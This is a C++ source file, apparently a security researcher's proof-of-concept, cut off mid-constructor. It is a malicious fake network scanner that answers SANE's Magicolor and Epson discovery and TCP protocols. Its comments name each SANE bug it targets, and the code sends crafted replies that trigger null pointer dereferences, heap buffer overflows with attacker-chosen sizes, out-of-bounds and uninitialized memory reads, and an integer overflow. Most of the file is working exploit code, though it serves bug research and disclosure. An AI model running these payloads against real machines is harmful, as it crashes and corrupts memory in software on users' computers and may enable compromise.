/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ASN_BOOLEAN 0x01
#define ASN_INTEGER 0x02
#define ASN_BIT_STR 0x03
#define ASN_OCTET_STR 0x04
#define ASN_NULL 0x05
#define ASN_OBJECT_ID 0x06
#define ASN_SEQUENCE 0x10
#define ASN_SET 0x11
#define ASN_UNIVERSAL 0x00
#define ASN_APPLICATION 0x40
#define ASN_CONTEXT 0x80
#define ASN_PRIVATE 0xC0
#define ASN_PRIMITIVE 0x00
#define ASN_CONSTRUCTOR 0x20
#define ASN_LONG_LEN 0x80
#define ASN_EXTENSION_ID 0x1F
#define ASN_BIT8 0x80
#define ASN_COUNTER (ASN_APPLICATION | 1)
#define SNMP_MSG_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
#define SNMP_MSG_TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
#define SNMP_MSG_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2 (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)
#define SNMP_MSG_REPORT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x8)
// Create a UDP socket and bind it to a port.
static int create_and_bind_udp(uint16_t port) {
const int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0) {
fprintf(stderr, "error creating socket\n");
return -1;
}
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
// Other programs are probably also listening on port 5353, so we
// need to specify that we are happy to share.
const int trueValue = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &trueValue, sizeof(trueValue));
if (bind(s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) {
int err = errno;
fprintf(stderr, "bind failed s=%d err=%d %s\n", s, err, strerror(err));
return -1;
}
return s;
}
// Create a TCP socket and start listening on the specified port.
static int create_bind_and_listen_tcp(uint16_t port) {
// Create a socket for listening on the port.
const int sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("Failed to create socket. Try running with sudo.\n");
return -1;
}
// Allow the port to be reused as soon as the program terminates.
int one = 1;
const int r0 =
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (r0 < 0) {
printf("Failed to set SO_REUSEADDR\n.");
return -1;
}
// Bind the port.
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
int err = errno;
printf(
"Error binding TCP socket to port. Try running with sudo.\nerrno = %d %s\n",
err, strerror(err)
);
return -1;
}
// Start listening.
const int r1 = listen(sock, SOMAXCONN);
if (r1 < 0) {
printf("listen failed.\n");
return -1;
}
return sock;
}
static void print_addr(sockaddr_storage* peer_addr, socklen_t peer_addr_len) {
char host[NI_MAXHOST], service[NI_MAXSERV];
const int r = getnameinfo(
(struct sockaddr *) peer_addr,
peer_addr_len, host, NI_MAXHOST,
service, NI_MAXSERV, NI_NUMERICSERV
);
if (r == 0) {
printf("%s:%s", host, service);
} else {
printf("getnameinfo:%s", gai_strerror(r));
}
}
// Base class for handling notifications from epoll.
class EPollHandlerInterface {
protected:
const int sock_;
EPollHandlerInterface(const int sock) : sock_(sock) {}
int epoll_add(const int epollfd) {
printf("epoll_add socket %d handler=%p\n", sock_, this);
epoll_event ev;
ev.events = EPOLLIN | EPOLLET;
ev.data.ptr = (void*)this;
if (epoll_ctl(epollfd, EPOLL_CTL_ADD, sock_, &ev) == -1) {
printf("EPOLL_CTL_ADD failed");
return -1;
}
return 0;
}
public:
virtual ~EPollHandlerInterface() {
printf("closing socket %d handler=%p\n", sock_, this);
close(sock_);
}
// If the result of `process_event` is negative, it means that the socket
// should be closed and the epoll handler deleted.
virtual int process_event(const epoll_event* event) = 0;
};
class RecvHandlerUDP {
public:
virtual ~RecvHandlerUDP() {};
// If the result of `process_event` is negative, it means that the socket
// should be closed and the epoll handler deleted.
virtual int receive(
uint8_t* buf, ssize_t len,
int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
) = 0;
};
class RecvHandlerTCP {
public:
virtual ~RecvHandlerTCP() {};
// This is method is called immediately after the connection is
// accepted. The return value is the number of bytes expected on the next
// message. But if the return value is negative then it means that the
// socket should be closed and the epoll handler deleted.
virtual ssize_t accept(int sock) = 0;
// `EpollRecvHandlerTCP` calls this method when it has received the
// number of bytes that we asked for. Unlike the corresponding method in
// `RecvHandlerUDP`, this method does not need a `len` parameter, because
// we will get the exact number of bytes that we asked for. (We always
// have to tell `EpollRecvHandlerTCP` how big we are expecting the next
// message to be.) The return value is the number of bytes expected on
// the next message. But if the return value is negative then it means
// that the socket should be closed and the epoll handler deleted.
virtual ssize_t receive(int sock, uint8_t* buf) = 0;
// Our peer closed the connection.
virtual void close(int sock) = 0;
};
// Factory class for constructing instances of RecvHandlerTCP.
class BuildRecvHandlerTCP {
public:
virtual ~BuildRecvHandlerTCP() {};
virtual RecvHandlerTCP* build() const = 0;
};
// Implementation of EPollHandlerInterface which reads data from
// a file descriptor. The data that was read is passed to the `handler_`
// field for further processing.
class EpollRecvHandlerUDP : public EPollHandlerInterface {
// Handler pointer is owned by this class.
RecvHandlerUDP* handler_;
// Takes ownership of `handler`.
EpollRecvHandlerUDP(const int sock, RecvHandlerUDP* handler)
: EPollHandlerInterface(sock)
, handler_(handler)
{}
public:
// Factory method. Constructs the class and registers the file descriptor
// with epoll.
static int build(
const int epollfd, const int sock, RecvHandlerUDP* handler
) {
if (sock < 0) {
return sock;
}
if (!handler) {
return -1;
}
// Make sure that the socket is non-blocking.
const int flags = fcntl(sock, F_GETFL, 0);
if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
printf("set non-blocking failed");
return -1;
}
EpollRecvHandlerUDP *h = new EpollRecvHandlerUDP(sock, handler);
if (!h) {
return -1;
}
return h->epoll_add(epollfd);
}
virtual ~EpollRecvHandlerUDP() {
printf("~EpollRecvHandlerUDP\n");
delete handler_;
}
virtual int process_event(const epoll_event *) {
// Keep reading from the socket until there's no more data.
while (1) {
sockaddr_storage peer_addr;
socklen_t peer_addr_len;
uint8_t buf[4096];
peer_addr_len = sizeof(struct sockaddr_storage);
const ssize_t recvsize = recvfrom(
sock_, buf, sizeof(buf), 0,
(struct sockaddr *) &peer_addr, &peer_addr_len);
if (recvsize < 0) {
return 0;
}
const int r =
handler_->receive(buf, recvsize, sock_, &peer_addr, peer_addr_len);
if (r < 0) {
return r;
}
}
}
};
// Implementation of EPollHandlerInterface which reads data from
// a file descriptor. The data that was read is passed to the `handler_`
// field for further processing.
class EpollRecvHandlerTCP : public EPollHandlerInterface {
// Handler pointer is owned by this class.
RecvHandlerTCP* handler_;
uint8_t* buf_; // Buffer for incoming data.
size_t received_; // Number of bytes received so far. (Stored in `buf_`.)
size_t remaining_; // Number of bytes we are still waiting for.
// Takes ownership of `handler`.
EpollRecvHandlerTCP(
const int sock, RecvHandlerTCP* handler,
uint8_t* buf, size_t remaining
)
: EPollHandlerInterface(sock)
, handler_(handler)
, buf_(buf)
, received_(0)
, remaining_(remaining)
{}
public:
// Factory method. Constructs the class and registers the file descriptor
// with epoll.
static int build(
const int epollfd, const int sock, RecvHandlerTCP* handler,
size_t remaining
) {
if (sock < 0) {
return sock;
}
if (!handler) {
return -1;
}
// Make sure that the socket is non-blocking.
const int flags = fcntl(sock, F_GETFL, 0);
if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
printf("set non-blocking failed");
return -1;
}
uint8_t* buf = new uint8_t[remaining];
if (!buf) {
return -1;
}
EpollRecvHandlerTCP *h =
new EpollRecvHandlerTCP(sock, handler, buf, remaining);
if (!h) {
return -1;
}
return h->epoll_add(epollfd);
}
virtual ~EpollRecvHandlerTCP() {
printf("~EpollRecvHandlerTCP\n");
delete[] buf_;
delete handler_;
}
virtual int process_event(const epoll_event *) {
// Keep reading from the socket until there's no more data.
while (1) {
sockaddr_storage peer_addr;
socklen_t peer_addr_len;
peer_addr_len = sizeof(struct sockaddr_storage);
const ssize_t recvsize = recvfrom(
sock_, buf_ + received_, remaining_, 0,
(struct sockaddr *) &peer_addr, &peer_addr_len);
if (recvsize == 0) {
// If we received zero bytes, then it means that our peer closed
// the connection.
printf("Our peer closed the TCP socket: %d.\n", sock_);
handler_->close(sock_);
return -1;
}
if (recvsize < 0) {
int err = errno;
if (err == EAGAIN || err == EWOULDBLOCK) {
// Need to wait for more input. (We will get a notification from
// epoll when that happens.)
return 0;
}
printf("TCP error. sock=%d err=%s.\n", sock_, strerror(err));
return err;
}
printf("TCP socket %d (handle %p) received %ld bytes.\n", sock_, this, recvsize);
// Check if we have received all the input.
remaining_ -= recvsize;
received_ += recvsize;
if (remaining_ == 0) {
const ssize_t r =
handler_->receive(sock_, buf_);
if (r < 0) {
return r;
}
// Get the buffer and counters ready for the next message.
delete[] buf_;
buf_ = new uint8_t[r];
received_ = 0;
remaining_ = r;
}
}
}
};
// Implementation of EPollHandlerInterface which handles TCP connection
// request.
class EpollTcpConnectHandler : public EPollHandlerInterface {
const int epollfd_;
// Factory pointer is owned by this class.
const BuildRecvHandlerTCP* factory_;
// Takes ownership of `factory`.
EpollTcpConnectHandler(
const int epollfd, const int sock, const BuildRecvHandlerTCP* factory
) : EPollHandlerInterface(sock)
, epollfd_(epollfd)
, factory_(factory)
{}
public:
// Factory method. Constructs the class and registers the file descriptor
// with epoll.
static int build(
const int epollfd, const int sock, const BuildRecvHandlerTCP* factory
) {
if (sock < 0) {
return sock;
}
if (!factory) {
return -1;
}
// Make sure that the socket is non-blocking.
const int flags = fcntl(sock, F_GETFL, 0);
if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) {
printf("set non-blocking failed");
return -1;
}
EpollTcpConnectHandler *h =
new EpollTcpConnectHandler(epollfd, sock, factory);
if (!h) {
return -1;
}
return h->epoll_add(epollfd);
}
virtual ~EpollTcpConnectHandler() {
delete factory_;
}
virtual int process_event(const epoll_event *) {
while (1) {
sockaddr addr;
socklen_t addr_len = sizeof(addr);
const int s = accept(sock_, &addr, &addr_len);
if (s < 0) {
return 0; // No need to close the listener down.
}
printf("accepting TCP connection sock=%d\n", s);
RecvHandlerTCP* handler = factory_->build();
if (!handler) {
printf("factory failed.\n");
close(s);
return 0; // No need to close the listener down.
}
ssize_t remaining = handler->accept(s);
if (remaining < 0) {
close(s);
return 0;
}
if (EpollRecvHandlerTCP::build(epollfd_, s, handler, remaining) < 0) {
printf("Could not register accepted socket with epoll.\n");
close(s);
return 0;
}
}
return 0;
}
};
// This SNMP handler is the first stage of the Magicolor code. The code in
// magicolor.c uses libsnmp to search the network for scanners. The
// response uses asn1 encoding, but I didn't find any bugs in the asn1
// parser. There is a minor bug in mc_network_discovery_handle though:
//
// magicolor.c:1915
// cap = mc_get_device_from_identification (device);
//
// `device` is an uninitialized local variable. Ironically, this bug
// gets cancelled by another bug in mc_get_device_from_identification:
//
// static struct MagicolorCap *
// mc_get_device_from_identification (const char*ident)
// {
// int n;
// for (n = 0; n < NELEMS (magicolor_cap); n++) {
// if (strcmp (magicolor_cap[n].model, ident) || strcmp (magicolor_cap[n].OID, ident))
// return &magicolor_cap[n];
// }
// return NULL;
// }
//
// The bug is that strcmp returns 0 when the strings are equal, so this
// function always succeeds immediately on the first iteration of the loop,
// even when `ident` contains garbage (which it does because it's
// uninitialized).
class SNMPHandlerUDP : public RecvHandlerUDP {
public:
SNMPHandlerUDP() {}
virtual ~SNMPHandlerUDP() {}
virtual int receive(
uint8_t* buf, ssize_t len,
int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
) {
printf("SNMP discover ");
print_addr(peer_addr, peer_addr_len);
printf("\n");
ssize_t i;
for (i = 0; i < len; i++) {
printf("%.2x", buf[i]);
}
printf("\n");
const uint8_t response[] =
{ 48, // ASN_SEQUENCE | ASN_CONSTRUCTOR
39, // Total length
ASN_INTEGER, 1, 1, // Version number = 1
ASN_OCTET_STR, 9, 'k','e','v','w','o','z','e','r','e',
SNMP_MSG_TRAP, // We have a choice here
23,
ASN_OBJECT_ID,
4, 20,21,22,23, // objid of length 4
ASN_OCTET_STR, 4, 'k','e','v','w',
ASN_INTEGER, 1, 1, // pdu->trap_type = 1
ASN_INTEGER, 1, 1, // pdu->specific_type = 1
ASN_COUNTER, 1, 1, // pdu->time = 1
48, // ASN_SEQUENCE | ASN_CONSTRUCTOR
0 // Length of varbind sequence.
};
printf("sizeof(response) = %ld\n", sizeof(response));
sendto(
sock, response, sizeof(response), 0,
(struct sockaddr *)peer_addr,
peer_addr_len
);
return 0;
}
};
// This handler accepts a connection from magicolor.c. It just contains
// the basic logic to handle the initial handshake and doesn't do anything
// deliberately malicious. But if you press the "Scan" button after the
// connection is complete, then simple-scan crashes with a SIGFPE at
// magicolor.c, line 1146:
//
// s->block_len = (int)(0xff00/s->scan_bytes_per_line) * s->scan_bytes_per_line;
//
// The crash happens because `scan_bytes_per_line` is zero. I believe
// that's because this handler responds to the cmd_get_scanning_parameters
// (magicolor.c:815) with a buffer full of zeros. Note: this TCP handler is
// very incomplete and doesn't parse the Magicolor messages properly, so it
// mistakenly thinks that it's handling another connection handshake when
// it's actually handling a scanning attempt. The buffer full of zeros is
// sent by the `S_fin` logic.
class MagicolorHandlerTCP : public RecvHandlerTCP {
enum State {
S_ack,
S_err1,
S_fin,
S_err2,
S_close
};
State state_;
public:
MagicolorHandlerTCP() : state_(S_ack) {}
virtual ssize_t accept(const int sock) {
printf("Sending welcome message.\n");
// Send back a welcome message.
const char reply[3] = {4,0,0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = S_ack;
return 5;
}
virtual ssize_t receive(int sock, uint8_t*) {
switch (state_) {
case S_ack:
{
// Send back the ack message.
printf("magicolor ack\n");
const char reply[3] = {4,2,0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = S_err1;
return 64;
}
case S_err1:
{
// Send back the error status.
printf("magicolor err1\n");
const char reply[1] = {0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = S_fin;
return 64;
}
case S_fin:
{
printf("magicolor fin\n");
const char reply[0xb] = {0,0,0,0,0,0,0,0,0,0,0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = S_err2;
return 64;
}
case S_err2:
{
// Send back the error status.
printf("magicolor err2\n");
const char reply[1] = {0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = S_close;
return 3;
}
case S_close:
{
printf("magicolor close\n");
state_ = S_ack;
return -1;
}
default:
return -1;
}
}
virtual void close(int) {}
};
class BuildMagicolorHandlerTCP : public BuildRecvHandlerTCP {
public:
virtual RecvHandlerTCP* build() const {
return new MagicolorHandlerTCP();
}
};
static const char epsonp_discover[15] = "EPSONP\x00\xff\x00\x00\x00\x00\x00\x00";
static const char epsonp_response[76] =
"EPSON ";
class EpsonHandlerUDP : public RecvHandlerUDP {
public:
EpsonHandlerUDP() {}
virtual ~EpsonHandlerUDP() {}
virtual int receive(
uint8_t* buf, ssize_t len,
int sock, sockaddr_storage* peer_addr, socklen_t peer_addr_len
) {
print_addr(peer_addr, peer_addr_len);
if (len != sizeof(epsonp_discover)) {
// We're not interested in this message.
return 0;
}
if (memcmp(buf, epsonp_discover, sizeof(epsonp_discover)) != 0) {
// We're not interested in this message.
return 0;
}
printf("EPSON discover\n");
if (sendto(
sock, epsonp_response, sizeof(epsonp_response), 0,
(struct sockaddr *)peer_addr,
peer_addr_len
) < 0) {
printf("failed to send response.\n");
}
return 0;
}
};
class EpsonHandlerTCP : public RecvHandlerTCP {
enum HdrState {
H_wait_hdr, // Waiting for the 12 byte header
H_wait_extra_hdr, // Waiting for the extra 8 header bytes
H_wait_payload, // Waiting for the message payload
H_wait_moreinfo // Waiting for the request for more info
};
// What type of payload we are expecting.
enum PayloadState {
P_normal,
P_paramblock,
P_img
};
// mode_ is a command line argument, telling us which bug to target.
const int mode_;
HdrState state_;
PayloadState payload_state_;
uint16_t cmd_;
uint32_t buf_size_;
uint32_t reply_len_;
uint8_t malicious_buf[12 + 0x1271];
ssize_t send_ack(int sock) {
const char reply[13] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 6};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
}
void send_info_harmless(int sock, int more) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
sprintf(
&reply[17],
"%07x#FB AREAi0000850i0001400#PRDh009kevwozere#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
}
ssize_t send_para_response(int sock) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'P','A','R','A','x','0','0','0','0','0','0','0','#','-','-','-',
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
payload_state_ = P_normal;
return 12;
}
ssize_t send_img_response(int sock) {
const char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(reply_len_);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
// Send a fake image. We specified an enormous image size in
// the "IMG" case of `eds_send`. (The huge size that we specified
// is now stored in `reply_len`.) This is going to cause a
// buffer overflow in esci2_img (epsonds-cmd.c:884).
char buf[0x10000];
memset(buf, 0, sizeof(buf));
uint32_t sentbytes = 0;
while (sentbytes < reply_len_) {
const ssize_t wr =
send(
sock, buf,
std::min(uint32_t(sizeof(buf)), reply_len_ - sentbytes),
0
);
if (wr < 0) {
const int err = errno;
if (err == EAGAIN || err == EWOULDBLOCK) {
continue;
} else {
printf("send failed: %s\n", strerror(err));
break;
}
} else {
printf("sent image: %ld bytes\n", wr);
}
sentbytes += wr;
}
printf("total sent: %ld bytes\n", size_t(sentbytes));
state_ = H_wait_hdr;
payload_state_ = P_normal;
return 12;
}
ssize_t eds_send(int sock, uint8_t* buf) {
printf("eds_send: %.02x %.02x %.02x\n", buf[0], buf[1], buf[2]);
if (buf_size_ == 2 && memcmp(buf, "\x1CX", 2) == 0 && reply_len_ == 1) {
if (mode_ == 2) {
// Trigger a buffer overflow at epsonds-net.c:135. We control the
// value of `size`, so we can write an arbitrary amount of data
// into `s->netbuf`.
char reply[4096];
const char header[12] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0};
memset(reply, 0xcd, sizeof(reply));
memcpy(reply, header, sizeof(header));
*(uint32_t*)&reply[6] = htonl(sizeof(reply));
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
}
return send_ack(sock);
} else if (buf_size_ == 12 && memcmp(buf, "INFOx0000000", 12) == 0 && reply_len_ == 64) {
if (mode_ == 3) {
// Copy uninitialized data into the reply buffer at epsonds-net.c:164.
// Because `size == 0`, no data was read from the network, so `s->netbuf`
// is still a newly malloc-ed buffer, containing uninitialized bytes.
char reply[13] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
} else if (mode_ == 4) {
// Out of bounds read in decode_binary (epsonds-cmd.c:273)
// This will read 0xFFF bytes from the stack and copy it into
// a malloc-ed buffer.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
int more = 0;
sprintf(
&reply[17],
"%07x#FB AREAi0000850i0001400#PRDhfffkevwozere#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
} else if (mode_ == 5) {
// Trigger a SIGPIPE in sanei_tcp_write (sanei_tcp.c:120)
// They should pass the flag MSG_NOSIGNAL to avoid this.
// Actually, this doesn't cause a crash so this isn't a bug.
// There must be a signal handler for SIGPIPE.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
sprintf(&reply[17],"%07x#nrdBUSY#---", 0);
for (size_t i = 0; i < 4; i++) {
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
}
// Close the socket, to trigger a SIGPIPE on the other end.
shutdown(sock, SHUT_RDWR);
return -1;
} else if (mode_ == 6) {
// Potential information leak from the sscanf at epsonds-cmd.c:120:
// the %x format specifier reads off the end of the buffer. If the
// next bytes on the stack are valid ASCII digits then they will
// be read into `more` and returned to us in the next message.
char reply[92] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x','0','0','0','0','0','0','0','0','0','0','0',
'0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0',
'0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0',
'0','0','0','0','0','0','0','0','0','0','0','0','0','0','0','0'
};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
} else if (mode_ == 7) {
// Integer overflow in the count parameter of sanei_tcp_read
// (sanei_tcp.c:124). Also interesting to note that the error
// is ignored at epsonds-cmd.c:195.
char reply[76 + 12] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
'I', 'S', 0, 0, 0, 12, -1, -1, -1, -1, 0, 0
};
unsigned int more = 0xFFFFFFFF;
sprintf(
&reply[17],
"%08x#FB AREAi0000850i0001400#PRDh009kevwozere#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
// Send another byte because `epsonds_net_read_raw` uses `select`
// to wait until there's more data available before it triggers
// the call to `sanei_tcp_read`.
if (send(sock, reply, 1, 0) < 0) {
printf("send failed.\n");
}
} else {
send_info_harmless(sock, 0);
}
state_ = H_wait_hdr;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "CAPAx0000000", 12) == 0 && reply_len_ == 64) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'C','A','P','A','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
int more = 0;
sprintf(&reply[17], "%07x#RSMRANGi0000050i0000600#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "RESAx0000000", 12) == 0 && reply_len_ == 64) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'R','E','S','A','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
int more = 0;
sprintf(&reply[17], "%07x#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "FIN x0000000", 12) == 0 && reply_len_ == 64) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'F','I','N',' ','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
int more = 0;
sprintf(&reply[17], "%07x#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "TRDTx0000000", 12) == 0 && reply_len_ == 64) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'T','R','D','T','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
int more = 0;
sprintf(&reply[17], "%07x#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "IMG x0000000", 12) == 0 && reply_len_ == 64) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','M','G',' ','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Announce that we're going to send an image with 0x10000000 bytes.
// The payload will be sent by `send_img_response()`.
unsigned int more = 0x10000000;
sprintf(&reply[17], "%08x#---", more);
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
payload_state_ = P_img;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "PARAx", 5) == 0 && reply_len_ == 0) {
char reply[] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
payload_state_ = P_paramblock;
return 12;
} else if (buf_size_ == 12 && memcmp(buf, "PARAx", 5) == 0) {
char reply[] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'P','A','R','A','x','0','0','0','0','0','0','0','#','-','-','-'
};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
if (reply_len_ > sizeof(reply)) {
size_t size = reply_len_ - sizeof(reply);
char *reply2 = (char*)malloc(size);
memset(reply2, 0, size);
if (send(sock, reply2, size, 0) < 0) {
printf("send failed.\n");
}
}
state_ = H_wait_hdr;
return 12;
} else {
printf(
"eds_send unrecognized command: %s\nbuf_size=%d reply_len=%d\n",
buf, buf_size_, reply_len_);
return -1;
}
}
ssize_t net_lock(int sock, uint8_t* buf) {
printf("net_lock\n");
if (mode_ == 1) {
// Trigger a null pointer exception at epsonds-net.c:160
const char reply[15] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
}
if (buf_size_ != 7) {
printf("net_lock unexpected buf_size: %d\n", buf_size_);
return -1;
}
if (memcmp(buf, "\x01\xa0\x04\x00\x00\x01\x2c", 7) != 0) {
printf("net_lock unexpected payload\n");
return -1;
}
return send_ack(sock);
}
ssize_t net_lock_epson2(int sock) {
printf("net_lock_epson2\n");
if (mode_ == 0) {
// Trigger a null pointer dereference at epson2_net.c:141
const char reply[13] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
}
state_ = H_wait_hdr;
return 12;
}
public:
EpsonHandlerTCP(int mode) :
mode_(mode), state_(H_wait_hdr), payload_state_(P_normal), cmd_(0)
{
size_t size = sizeof(malicious_buf);
memset(malicious_buf, 0, size-1);
